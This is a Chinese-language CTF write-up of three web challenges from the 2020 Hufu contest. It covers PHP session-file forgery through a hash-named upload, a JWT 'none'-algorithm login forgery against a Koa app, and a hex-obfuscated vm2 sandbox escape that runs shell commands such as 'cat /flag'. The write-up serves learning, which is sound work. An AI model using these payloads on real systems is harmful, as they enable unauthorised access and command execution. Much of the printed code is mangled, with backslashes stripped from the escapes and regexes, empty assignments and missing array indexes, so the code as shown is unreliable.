2020 虎符网络安全竞赛 web Writeup
前言 4月20日 周日 天气晴这周有虎符的安全竞赛,
又是菜鸡自闭的一天
真神仙打架。大佬们都tql。。
一共三个web题目,在这里总结一下。。
babyupload 打开页面,发现给出了源码:
<?php error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}
else{
$_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
$dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
if(preg_match('/(../|..\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
$upload_result = "uploaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
}
} elseif ($direction === "download") {
try{
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;
if(preg_match('/(../|..\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
if(!file_exists($file_path)) {
throw new RuntimeException('file not exist');
}
header('Content-Type: application/force-download');
header('Content-Length: '.filesize($file_path));
header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
if(readfile($file_path)){
$download_result = "downloaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$download_result = $e->getMessage();
}
exit;
}
?>
读代码,发现这是一个存在上传和下载文件的功能。
获取flag的条件:
1.$_SESSION['username'] ==='admin')
[*]存在/var/babyctf/success.txt
我们一步一步来:
使$_SESSION['username'] ==='admin'),我们发现没有什么代码和修改这个变量值的,但是在代码开头设置了保存session文件的路径:
session_save_path("/var/babyctf/"); session_start();
通过session文件的命名规则,可以推断session文件为:/var/babyctf/sess_XXXXX(为PHPSESSID的值)。。
我们尝试读取一下,session文件:
post:
direction=download&filename=sess_a41c14e052970b6a0af81246c69b552d
内容为:
<0x08>usernames:5:"guest";
猜测我们只要上传一个session文件内容为:
<0x08>usernames:5:"admin";
并且命名为:sess_XXXXXXXXXX,然后设置PHPSESSID就可以使得$_SESSION['username'] ==='admin')成立了。
分析上传代码发现:
发现如果不上传attr参数,dir_path会直接拼接上传的文件名+"_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
如果把上传文件名设置为sess,并且不传递attr参数,就可以得到/var/babyctf/sess_XXXXXXXXX,这就可以当成session文件。。
hash_file("sha256",$_FILES['up_file']['tmp_name']),虽然tmp_name是不可控的随机值,但是hash_file()是根据文件内容得到的hash值。就是说文件内容可控,那么文件名就是可控的了。
在本地创建一个文件名为sess:
在本地写一个上传页面:
<!DOCTYPE html> <html>
<head>
<title></title>
</head>
<body>
<form action="题目地址" method="post" enctype="multipart/form-data">
<input type="text" name="attr" />
<br>
<input type="text" name="direction" />
<br>
<input type="file" name="up_file" />
<br>
<input type="submit" />
</body>
</html>
抓包上传文件:
获取上传文件的hash_file值
<?php echo hash_file("sha256","./sess");
?>
输出:
432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4
尝试读一下sess_432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4看是否写成功:
然后就差success.txt了。
可以把attr参数设置为success.txt。
可以将success.txt变成一个目录。从而绕过了限制。
然后将PHPSESSID修改为432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4,就可以得到flag。
easy_login 打开是一个登陆框的界面,通过题目的描述知道是一个nodejs写的网站。
查看/static/js/app.js源代码发现:
看注释静态映射到了根目录,猜测可以读取源码,访问app.js,controller.js 可以看到源码
app.js
const Koa = require('koa'); const bodyParser = require('koa-bodyparser');
const session = require('koa-session');
const static = require('koa-static');
const views = require('koa-views');
const crypto = require('crypto');
const { resolve } = require('path');
const rest = require('./rest');
const controller = require('./controller');
const PORT = 80;
const app = new Koa();
app.keys = ;
global.secrets = [];
app.use(static(resolve(__dirname, '.')));
app.use(views(resolve(__dirname, './views'), {
extension: 'pug'
}));
app.use(session({key: 'sses:aok', maxAge: 86400000}, app));
// parse request body:
app.use(bodyParser());
// prepare restful service
app.use(rest.restify());
// add controllers:
app.use(controller());
app.listen(PORT);
console.log(`app started at port ${PORT}...`);
然后测试出还有/controllers/api.js
const crypto = require('crypto'); const fs = require('fs')
const jwt = require('jsonwebtoken')
const APIError = require('../rest').APIError;
module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}
if(global.secrets.length > 100000) {
global.secrets = [];
}
const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)
const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
ctx.rest({
token: token
});
await next();
},
'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}
const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
const sid = JSON.parse(Buffer.from(token.split('.'), 'base64').toString()).secretid;
console.log(sid)
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret>
}
const secret = global.secrets;
const user = jwt.verify(token, secret, {algorithm: 'HS256'});
const status = username === user.username && password === user.password;
if(status) {
ctx.session.username = username;
}
ctx.rest({
status
});
await next();
},
'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}
const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});
await next();
},
'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};
代码审计一下,发现是jwt加密验证。
一些jwt库支持none算法,将算法修改为none,即没有签名算法。当alg字段被修改为none时,后端若是支持none算法,后端不会进行签名验证。
做法:将header中的alg字段可被修改为none,去掉JWT中的signature数据(仅剩header + ‘.’ + payload + ‘.’) 然后直接提交到服务端去即可。。
只要想办法令secret为undefined就可以使用none签名校验了。。
js的一些特性:
可以让secectid为0.1来进行绕过。
先注册一个账号,抓取一下jwt进行解密。。jwt解密链接
网站上的不能将alg设置为none,用脚本进行加密:
#encoding=utf-8 import base64
def b64urlencode(data):
return base64.b64encode(data).replace('+', '-').replace('/', '_').replace('=', '')
print b64urlencode("{"typ":"JWT","alg":"none"}") +
'.' + b64urlencode("{"secretid":"0.1","username":"admin","password":"123456"}") + '.'
脚本生成jwt加密字符串eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzZWNyZXRpZCI6IjAuMDEiLCJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxMjM0NTYifQ.
然后尝试admin登陆,进行抓包:
发现登陆成功,放包
发现成功使用admin登陆了,然后点击getflag发现没有反应。。
然后再次抓包得到flag..
just_escape 打开页面发现:
访问run.php得到源码:
<?php if( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) {
$code = $_GET['code'];
echo eval(code);
} else {
highlight_file(__FILE__);
}
?>
天真的我,以为是php命令执行绕过。。。
尝试了一下phpinfo()发现:
再看了看提示,发现不是php。
仔细看了下代码 eval里的code这个细节猜测应该是js写的,php是假象
验证后发现,code执行的确实是js的代码。。。
科学上网发现了这么一篇文章:https://www.anquanke.com/post/id/170708?display=mobile
访问/run.php?code=Error().stack得到:
Error at vm.js:1:1
at ContextifyScript.Script.runInContext (vm.js:59:29)
at VM.run (/usr/src/app/node_modules/vm2/lib/main.js:219:62)
at /usr/src/app/server.js:51:33
at Layer.handle (/usr/src/app/node_modules/express/lib/router/layer.js:95:5)
at next (/usr/src/app/node_modules/express/lib/router/route.js:137:13)
at Route.dispatch (/usr/src/app/node_modules/express/lib/router/route.js:112:3)
at Layer.handle (/usr/src/app/node_modules/express/lib/router/layer.js:95:5)
at /usr/src/app/node_modules/express/lib/router/index.js:281:22
at Function.process_params (/usr/src/app/node_modules/express/lib/router/index.js:335:12)
发现题目设置的模块vm.js,然后发现对应的vm2仓库里已经有很多 escape 的 issue 了
找到了这个 https://github.com/patriksimek/vm2/issues/225
直接输入代码:
发现返回了一个键盘的页面。。
测试发现过滤了一些关键字:单引号、双引号、exec、prototype等等,会被拦截,然后返回这个键盘页面。。。
测试发现可以通过十六进制编码来进行关键字绕过:
(function(){TypeError[`x70x72x6fx74x6fx74x79x70x65`][`x67x65x74x5fx70x72x6fx63x65x73x73`] = f=>f[`x63x6fx6ex73x74x72x75x63x74x6fx72`](`x72x65x74x75x72x6ex20x70x72x6fx63x65x73x73`)();try{Object.preventExtensions(Buffer.from(``)).a = 1;}catch(e){return e[`x67x65x74x5fx70x72x6fx63x65x73x73`](()=>{}).mainModule.require((`x63x68x69x6cx64x5fx70x72x6fx63x65x73x73`))[`x65x78x65x63x53x79x6ex63`](`whoami`).toString();}})()
修改要执行的命令,就能得到flag了
payload:
(function(){TypeError[`x70x72x6fx74x6fx74x79x70x65`][`x67x65x74x5fx70x72x6fx63x65x73x73`] = f=>f[`x63x6fx6ex73x74x72x75x63x74x6fx72`](`x72x65x74x75x72x6ex20x70x72x6fx63x65x73x73`)();try{Object.preventExtensions(Buffer.from(``)).a = 1;}catch(e){return e[`x67x65x74x5fx70x72x6fx63x65x73x73`](()=>{}).mainModule.require((`x63x68x69x6cx64x5fx70x72x6fx63x65x73x73`))[`x65x78x65x63x53x79x6ex63`](`cat%20/flag`).toString();}})()
总结 这次的web题目,学到了一些东西,做题最重要的还是细心。多查阅文档,不能轻易的放弃,要有耐心。。。。
这次比赛师傅们都tql了,神仙打架
页:
[1]